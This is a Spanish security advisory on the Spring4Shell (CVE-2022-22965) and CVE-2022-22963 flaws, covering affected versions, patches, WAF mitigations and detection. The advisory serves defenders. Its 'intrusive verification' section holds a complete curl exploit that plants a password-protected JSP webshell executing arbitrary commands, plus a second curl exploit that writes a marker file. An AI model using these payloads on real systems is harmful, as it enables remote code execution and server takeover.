Vulnerabilidad Spring4Shell – CVE-2022-22965 y CVE-2022-22963
Tabla de contenidos
A lo largo de esta semana se han conocido dos vulnerabilidades de seguridad en el framework Java Spring que permiten tomar remotamente el control de aplicaciones vulnerables. Estas nuevas vulnerabilidades web, que recuerdan a Log4Shell, están siendo explotadas activamente en la actualidad por lo que se recomienda revisar las aplicaciones web y parchear a la mayor brevedad.
Vulnerabilidad Spring4Shell – CVE-2022-22965
Spring4Shell o SpringShell han sido los nombres dados a la vulnerabilidad a la que posteriormente se le asignó el código CVE-2022-22965 y que permite llegar a ejecutar código de forma remota mediante una secuencia de peticiones HTTP específicas.
La vulnerabilidad Spring4Shell tiene una criticidad muy elevada, pudiendo comprometer la confidencialidad, integridad y disponibilidad de los datos gestionados por una aplicación vulnerable. Esta debilidad afecta a funciones que hacen uso de la anotación @RequestMapping y que toman como parámetro de entrada Plain Old Data Objects (POJO).
- Impacto de la vulnerabilidad: RCE (Ejecución remota de código)
- CVSS: 9.8 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Requisitos: Uso de Spring MVC y Spring WebFlux
- Contenedor de aplicaciones: Apache Tomcat (Actualmente los exploits solo están disponibles para este entorno)
- Aplicaciones empaquetadas como WAR
- Dependencias: SpringMVC y Spring WebFlux
- JDK >=9
- Versiones de Spring afectadas inferiores a:
- 5.3.18
- 5.2.20
Los comunicados oficiales acerca de esta vulnerabilidad aportan toda la información oficial en los siguientes enlaces:
- https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#am-i-impacted
- https://tanzu.vmware.com/security/cve-2022-22965
Método de explotación de Spring4Shell
Los exploits desarrollados y publicados hasta el momento hacen uso de una clase Java de Tomcat, el AccessLogValve (https://tomcat.apache.org/tomcat-8.0-doc/api/org/apache/catalina/valves/AccessLogValve.html). Debido a que es posible abusar de la forma en la que el componente Spring Beans carga los parámetros de la petición, se puede referenciar a la instancia de esta clase y se modifican sus atributos en tiempo de ejecución.
El funcionamiento de estos exploits reside en referenciar la clase mediante el classLoader con parámetros como el siguiente:
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
De esta forma, se cambiaría el sufijo del archivo de log a “.jsp”. Mediante la manipulación de este tipo de parámetros, es posible modificar el comportamiento del servidor de aplicaciones Tomcat, provocando que se cree un archivo JSP en el directorio webapps/ROOT con código malicioso, como una webshell en la mayoría de los casos.
Tras una primera petición HTTP modificando todos los atributos, la siguiente petición ya es capaz de hacer uso de la webshell y ejecutar los comandos enviados en forma de parámetros.
Cómo comprobar si soy vulnerable a la vulnerabilidad Spring4Shell
Para confirmar si entre los sistemas un endpoint es vulnerable a Spring4Shell, no es necesario modificar el comportamiento de la función de logging de Tomcat. Desde Tarlogic presentamos tres posibles formas de detectar y explotar la vulnerabilidad Spring4Shell en una instancia vulnerable de Spring:
Verificación externa de seguridad (no intrusiva):
Esta petición es completamente inocua al servicio remoto, por lo que puede ejecutarse en cualquier tipo de entorno sin riesgo a modificar el comportamiento de la aplicación:
$ curl -v https://TARGET/PATH/?class.module.classLoader.URLs%5B0%5D=0
Otra forma de verificar la presencia de esta vulnerabilidad es la siguiente:
$ curl -i -k https://TARGET/PATH/?class.module.classLoader.DefaultAssertionStatus=nosense | grep -i 400
- Devuelve un error 400 si es vulnerable:
- En caso de que no sea vulnerable, ya sea porque la aplicación esté parcheada o la versión de Spring esté actualizada, la aplicación ignorará el parámetro devolviendo un código de estado diferente:
Verificación externa (ataque Intrusivo):
El siguiente comando crearía una webshell protegida por contraseña (pwd=TARLOGIC):
$ curl -H «suffix»:»%>//» -H «c1″:»Runtime» -H «c2″:»<%» -H «c3″:»TARLOGIC» -H «DNT»:»1″ -H «Content-Type»:»application/x-www-form-urlencoded» -d ‘class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22%25%7Bc3%7Di%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=’ https://TARGET
Posteriormente se puede invocar la shell remota en la siguiente URL:
$ https://TARGET/tomcatwar.jsp?pwd=TARLOGIC&cmd=whoami
Verificación externa (ataque menos intrusivo):
Este método de explotación algo menos intrusivo que el anterior crea un fichero de log con el texto “Tarlogic 2022” en la ruta https://YOURSERVER/tarlogicCheckSpring4Shell.jsp . Los comandos a ejecutar son los siguientes:
$ curl -v -d «class.module.classLoader.resources.context.parent.pipeline.first.pattern=Tarlogic%202022&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tarlogicCheckSpring4Shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=» https://YOURSERVER/
$ curl https://YOURSERVER/tarlogicCheckSpring4Shell.jsp
Se recomienda reiniciar el servidor web tras verificar su afectación para restaurar el funcionamiento normal de la aplicación.
Soluciones a la vulnerabilidad de Spring
La última versión del framework Spring ha sido parcheada el día 31 de marzo de 2022. El commit donde se incluye el código que soluciona la vulnerabilidad se encuentra disponible en el siguiente enlace: https://github.com/spring-projects/spring-framework/commit/afbff391d8299034cd98af968981504b6ca7b38c
Actualización y despliegue del parche:
Parchear es el método óptimo para protegerse de la vulnerabilidad Spring4Shell en Java. A continuación, se indican las versiones actualizadas de la aplicación:
- 5.3.18+ (https://github.com/spring-projects/spring-framework/releases/tag/v5.3.18)
- 5.2.20+ (https://github.com/spring-projects/spring-framework/releases/tag/v5.2.20.RELEASE)
En el caso de SpringBoot, las versiones que incluyen los parches son:
- 2.6.6+ (https://github.com/spring-projects/spring-boot/releases/tag/v2.6.6)
- 2.5.12+ (https://github.com/spring-projects/spring-boot/releases/tag/v2.5.12)
Acciones de mitigación de Spring4shell alternativas
De forma temporal, se plantean las siguientes acciones de mitigación de la vulnerabilidad spring4shell:
- Bloquear mediante regla en el WAF el uso de parámetros cuyo nombre contenga la cadena “classLoader” o el inicio de la referencia al mismo:
- Bloquear cadenas «class.», «Class.», «.class.», and «.Class.»
- Workaround parcheando clases: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
- Hacer uso de una versión de JDK inferior, como la 8, podría solucionar el problema, aunque abriría la puerta a otros ataques.
Detección de explotación
La detección de la explotación de Spring4shell se puede realizar mediante las siguientes reglas Yara. https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar aunque la principal recomendación es parchear.
Vulnerabilidad CVE-2022-22963
La vulnerabilidad CVE-2022-22963 dispone de una criticidad elevada permitiendo la ejecución remota de código, pudiendo comprometer la confidencialidad, integridad y disponibilidad de los datos gestionados por una aplicación vulnerable.
Esta vulnerabilidad fue gestionada de forma correcta y contó con un código CVE desde su publicación. Puede encontrarse documentación oficial en las siguientes webs:
- https://tanzu.vmware.com/security/cve-2022-22963
- https://spring.io/blog/2022/03/29/cve-report-published-for-spring-cloud-function
Spring Cloud Functions pueden ser utilizadas en funciones tipo serverless desplegadas en los múltiples proveedores Cloud. Una explotación exitosa podría permitir comprometer las cuentas u otros servicios publicados en la nube.
- Impacto: RCE (Ejecución remota de código)
- Requisitos: Necesita estar usando Spring Cloud Function framework
- Versiones afectadas: <=3.1.6 and <=3.2.2
- CVSS: (9.8 CRITICAL) https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Solución de la vulnerabilidad CVE-2022-22963
La solución principal consiste en actualizar urgentemente el componente de Spring Cloud Functions a las nuevas versiones disponibles que corrigen esta vulnerabilidad:
- 3.1.7
- 3.2.3
Comprobación de la vulnerabilidad CVE-2022-22963 con nuclei
A continuación, damos indicaciones de cómo verificar la presencia de la vulnerabilidad de forma remota con Nuclei:
- $ nuclei -ut
- $ nuclei -l LISTADO_URLS.txt -t cves/2022/CVE-2022-22963.yaml -rl 10 -o nuclei_CVE-2022-22963.out
Referencias adicionales de Spring4Shell
- https://www.tenable.com/blog/spring4shell-faq-spring-framework-remote-code-execution-vulnerability
- Link original del descubrimiento de la vulnerabilidad: https://www.praetorian.com/blog/spring-core-jdk9-rce/
- Explicación con app vulnerable: https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
- Explicación en castellano: https://www.hackplayers.com/2022/03/springshell-rce-core-spring.html
- Requisitos adicionales a JDK 9+: https://twitter.com/wdormann/status/1509280535071309827
- Tweet acerca de detección de Spring4Shell: https://twitter.com/i/web/status/1509208252722073606
- Releases de Spring Framework: https://github.com/spring-projects/spring-framework/releases
- App vulnerable: https://github.com/TheGejr/SpringShell
- https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/
- Cuenta de twitter: https://twitter.com/springframework
- Plantilla de nuclei para validar Spring4Shell: https://github.com/projectdiscovery/nuclei-templates/pull/4017/files
Iremos actualizando el contenido a medida que exista información adicional sobre la vulnerabilidad Spring4Shell y las técnicas de detección, explotación y mitigación.